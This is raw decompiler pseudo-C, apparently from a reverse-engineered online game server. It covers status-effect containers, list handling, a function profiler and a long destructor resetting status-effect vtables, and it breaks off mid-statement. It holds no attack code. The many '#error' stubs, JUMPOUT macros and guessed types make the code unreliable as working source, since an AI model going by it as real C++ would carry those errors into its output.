-------------------------------------------------------- #error "4016E0: undefined or illegal type '#331' (funcsize=33)" //----- (00401740) -------------------------------------------------------- #error "401740: undefined or illegal type '#331' (funcsize=39)" //----- (004017B0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_AbnormalState_BitSet(void *this, signed int abstate) { int result; // eax@1 result = (*(int (**)(void))(*(_DWORD *)this + 1164))() + abstate / 8; *(_BYTE *)result |= 1 << abstate % 8; return result; } //----- (004017F0) -------------------------------------------------------- int __thiscall CharClass::AC(ItemAttributeClass *this, ItemTotalInformation *iti, ShineDateTime *dEndureEndTime) { return 0; } //----- (00401800) -------------------------------------------------------- int __thiscall AbnormalStateContainer::AbnormalStateRestCount::ase_MaxRestCount(AbnormalStateContainer::AbnormalStateRestCount *this, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int strength) { return AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect( &sklidx->subabstate[strength], this->asrc_Action); } //----- (00401820) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateElementInObject::ASE_Tick::_ASE_Tick(AbnormalStateContainer::AbstateElementInObject::ASE_Tick *this) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->nextaction); } //----- (00401830) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateElementInObject::AbstateElementInObject(AbnormalStateContainer::AbstateElementInObject *this, AbnormalStateInfo::ABSTATEINDEX key) { AbnormalStateContainer::AbstateElementInObject *v2; // esi@1 v2 = this; Metronome::Metronome(&this->aeo_Tick.nextaction); SetItemData::SetItemAbstateEffect::SetItemAbstateEffect(&v2->aeo_SetItemEffect); v2->aeo_Index = key; *(_DWORD *)&v2->aeo_PartyEnchant[4]._bf0 = 0; *(_DWORD *)&v2->gap29[7] = 0; *(_DWORD *)&v2->gap29[15] = 0; *(_DWORD *)&v2->gap29[23] = 0; *(_DWORD *)&v2->gap29[31] = 0; } //----- (00401890) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(AbnormalStateContainer::AbstateElementInObject *this) { AbnormalStateContainer::AbstateElementInObject *v1; // esi@1 v1 = this; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->aeo_SetItemEffect); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->aeo_Tick.nextaction); } //----- (004018E0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_BashStop(void *this) { return (*(int (**)(void))(*(_DWORD *)this + 2716))(); } //----- (004018F0) -------------------------------------------------------- #error "4018F0: undefined or illegal type '#748' (funcsize=92)" //----- (00401A10) -------------------------------------------------------- #error "401A10: undefined or illegal type '#331' (funcsize=120)" //----- (00401B80) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_CheckBlockDuringMoving(AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime *this, AbnormalStateContainer::AbstateElementInObject *aso) { return 1; } //----- (00401B90) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStateElement::ase_AttachObject(AbnormalStateContainer::AbnormalStateElement *this, AbnormalStateContainer::AbstateElementInObject *aso, #331 *pTargetObj) { if ( aso ) (*(void (__stdcall **)(_DWORD, _DWORD))(**((_DWORD **)&abstateidentarray + 3 * this->ase_index) + 4))( aso, pTargetObj); } //----- (00401BC0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStateElement::ase_DetachObject(AbnormalStateContainer::AbnormalStateElement *this, AbnormalStateContainer::AbstateElementInObject *aso, #331 *pTargetObj) { if ( aso ) (*(void (__stdcall **)(_DWORD, _DWORD))(**((_DWORD **)&abstateidentarray + 3 * this->ase_index) + 8))( aso, pTargetObj); } //----- (00401BF0) -------------------------------------------------------- #error "401BF0: undefined or illegal type '#331' (funcsize=9)" //----- (00401C10) -------------------------------------------------------- void __thiscall AxialListNearScanFriend::_AxialListNearScanFriend(AxialListNearScanFriend *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanFriend::_vftable_; AxialListNearScan::_AxialListNearScan(&this->baseclass_0); } // 596BF4: using guessed type int (__stdcall *AxialListNearScanFriend___vftable_)(int, int, int distancesquar); //----- (00401C20) -------------------------------------------------------- #error "401C20: undefined or illegal type '#331' (funcsize=23)" //----- (00401C60) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 596C30: using guessed type int (__stdcall *List_AbnormalStateContainer__AbnormalStateNode____vftable_[3])(__int16 hnd); //----- (00401C80) -------------------------------------------------------- ORTable *__thiscall List::l_AllocZ(List *this, unsigned __int16 hnd) { ORTable *result; // eax@2 ListStruct *v3; // esi@3 int v4; // eax@3 unsigned __int16 v5; // bx@5 unsigned __int16 v6; // si@9 if ( hnd < this->l_MaxSize ) { v3 = this->l_Array; v4 = hnd; if ( v3[v4].ls_IsActiv ) { result = 0; } else { v5 = v3[v4].ls_Next; if ( v5 == hnd ) { this->l_Finger.empty = -1; } else { v3[v3[v4].ls_Prev].ls_Next = v5; this->l_Array[this->l_Array[v4].ls_Next].ls_Prev = this->l_Array[v4].ls_Prev; if ( this->l_Finger.empty == hnd ) this->l_Finger.empty = this->l_Array[v4].ls_Next; } v6 = this->l_Finger.store; if ( v6 == -1 ) { this->l_Array[v4].ls_Next = hnd; this->l_Array[v4].ls_Prev = hnd; this->l_Finger.store = hnd; } else { this->l_Array[v4].ls_Next = v6; this->l_Array[v4].ls_Prev = this->l_Array[this->l_Finger.store].ls_Prev; this->l_Array[this->l_Array[this->l_Finger.store].ls_Prev].ls_Next = hnd; this->l_Array[this->l_Finger.store].ls_Prev = hnd; } this->l_Array[v4].ls_IsActiv = 1; ++this->l_ListNum; result = this->l_Array[v4].ls_Content; } } else { result = 0; } return result; } //----- (00401D70) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, CardDeck::Card *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Prev; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; ele->c_card = v2[(unsigned __int16)v3].ls_Content->c_card; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (00401DC0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, AbnormalStateContainer::AbstateElementInObject *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0x74u); return 1; } // 401DD6: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00401E00) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, AbnormalStateContainer::AbstateElementInObject *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x74u); this->vfptr->l_Free(this, v3); } return 1; } //----- (00401E50) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, AbnormalStateContainer::AbstateElementInObject *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x74u); this->vfptr->l_Free(this, v3); } return 1; } //----- (00401EA0) -------------------------------------------------------- void __thiscall ListTraveler::lt_Home(ListTraveler *this) { List *v1; // eax@1 v1 = this->lt_List; this->lt_CurrElement = v1->l_MaxSize; this->lt_NextElement = v1->l_Array[v1->l_Finger.store].ls_Next; } //----- (00401EC0) -------------------------------------------------------- char __thiscall ListTraveler::lt_Next(ListTraveler *this) { List *v1; // edx@1 unsigned __int16 v2; // ax@1 char result; // al@2 v1 = this->lt_List; v2 = this->lt_NextElement; if ( v2 < v1->l_MaxSize ) { this->lt_CurrElement = v2; this->lt_NextElement = v1->l_Array[v2].ls_Next; result = 1; } else { result = 0; } return result; } //----- (00401EF0) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall ListTraveler::operator_(ListTraveler *this) { List *v1; // edx@1 int v2; // eax@2 AbnormalStateContainer::AbstateElementInObject *result; // eax@3 v1 = this->lt_List; if ( this->lt_CurrElement < v1->l_MaxSize && (v2 = (int)&v1->l_Array[this->lt_CurrElement], *(_BYTE *)(v2 + 8)) ) result = *(AbnormalStateContainer::AbstateElementInObject **)v2; else result = this->lt_Default; return result; } //----- (00401F20) -------------------------------------------------------- #error "401F20: undefined or illegal type '#331' (funcsize=39)" //----- (00401F90) -------------------------------------------------------- void __thiscall FunctionEntarance::FunctionEntarance(FunctionEntarance *this, unsigned __int16 funcode, char *funcname, unsigned int flag) { this->fe_FunctionCode = funcname; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, funcname); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = funcname; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = flag; } //----- (00401FD0) -------------------------------------------------------- void __thiscall FunctionEntarance::_FunctionEntarance(FunctionEntarance *this) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, this->fe_FunctionCode); } //----- (00401FF0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_DistanceSquar(int this, int a2) { int v2; // edx@1 int result; // eax@2 int v4; // eax@3 int v5; // edx@10 int v6; // eax@10 int v7; // ecx@10 int v8; // eax@10 v2 = *(_DWORD *)(this + 98); if ( v2 ) { v4 = *(_DWORD *)(a2 + 98); if ( v4 ) { if ( *(_DWORD *)v2 == *(_DWORD *)v4 && *(_DWORD *)(v2 + 4) == *(_DWORD *)(v4 + 4) && *(_DWORD *)(v2 + 8) == *(_DWORD *)(v4 + 8) && **(_DWORD **)(this + 94) == **(_DWORD **)(a2 + 94) ) { v5 = *(_DWORD *)(a2 + 78); v6 = *(_DWORD *)(this + 78); v7 = *(_DWORD *)v6 - *(_DWORD *)v5; v8 = *(_DWORD *)(v6 + 4) - *(_DWORD *)(v5 + 4); result = v7 * v7 + v8 * v8; } else { result = 999999999; } } else { result = 999999999; } } else { result = 999999999; } return result; } //----- (00402070) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStateList::_AbnormalStateList(AbnormalStateContainer::AbnormalStateList *this) { AbnormalStateContainer::AbnormalStateList *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->asl_AbstateList.l_Array; this->asl_AbstateList.vfptr = (ListVtbl *)List::_vftable_; if ( v2 ) operator delete__(v2); v1->asl_STA_DODGEMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_KQSKELKNIGHTBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_STA_KQSKELKNIGHTBLOODING.astr_Tick); v1->asl_STA_KQSKELKNIGHTBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MOBSTUNTYPE01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MOBBURNTYPE01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_STA_MOBBURNTYPE01.astr_Tick); v1->asl_STA_MOBBURNTYPE01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_HIDESTUN01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MULTIBLOOD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_STA_MULTIBLOOD.astr_Tick); v1->asl_STA_MULTIBLOOD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HUMARACDOWNRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CRACKERACUPRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CRACKERWCUPRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CRACKERCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_CRACKERCURSE.astr_Tick); v1->asl_CRACKERCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CRACKERDISEASE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CRACKERWCDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CRACKERACDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIKNOCKBACKROLL.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIMOBSUICIDE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIVIRUSMOVE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTIVIRUSMOVE.astr_Tick); v1->asl_GTIVIRUSMOVE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIVIRUSRT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTIVIRUSRT.astr_Tick); v1->asl_GTIVIRUSRT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIVIRUSMOVEMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTIVIRUSMOVEMAIN.astr_Tick); v1->asl_GTIVIRUSMOVEMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIVIRUSRTMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTIVIRUSRTMAIN.astr_Tick); v1->asl_GTIVIRUSRTMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIREVERSEORDER.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIBOMBDIE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIBOMB2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTIBOMB2.astr_Tick); v1->asl_GTIBOMB2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIBOMB1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTIBOMB1.astr_Tick); v1->asl_GTIBOMB1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIBINDING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTIBINDING.astr_Tick); v1->asl_GTIBINDING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTISCAN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTISCAN.astr_Tick); v1->asl_GTISCAN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIHIDE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIMETASLIME.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTICONFUSION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIBLIND.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIREFLECT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIRESISTALL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTISPEED.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIRATEPOINT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MONKEYDEFENSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MONKEYSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STAMRBLUEDRAGON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STACCREDDRAGON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_TIMEATTACKMINI.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_TIMEATTACK.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SPIRIT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_PARALYSIS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ANGRY.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_EVENTMRUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_EVENTACUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_EVENTSPEED.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_EVENTALLSTATSUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_EVENTSPUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_EVENTHPUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GLDATKUPL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RESTEXP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CANNOTCONTROL.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CANNOTCHANGETARGET.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FATALKNOCKBACK.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KNOCKBACKROLL.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KNOCKBACKFLY.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KNOCKBACK.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLOODFEAR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SILBERKBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SILBERKBLOODING.astr_Tick); v1->asl_SILBERKBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MRMINUS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KARENSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KARENDOTHEAL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_KARENDOTHEAL.astr_Tick); v1->asl_KARENDOTHEAL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ROCKDASHSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ROCKCANTCHAT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ROCKCANTHEAL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KARENCAPTIVATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KARENSTATIC.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KARENDIVINE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KARENDOT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_KARENDOT.astr_Tick); v1->asl_KARENDOT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GLDSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GLDSLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GLDACMINUS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GLDMOVESPEEDUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GLDRESTORE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GLDRESTORE.astr_Tick); v1->asl_GLDRESTORE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ETHEREAL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR10.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR04.baseclass_0.vfptr = 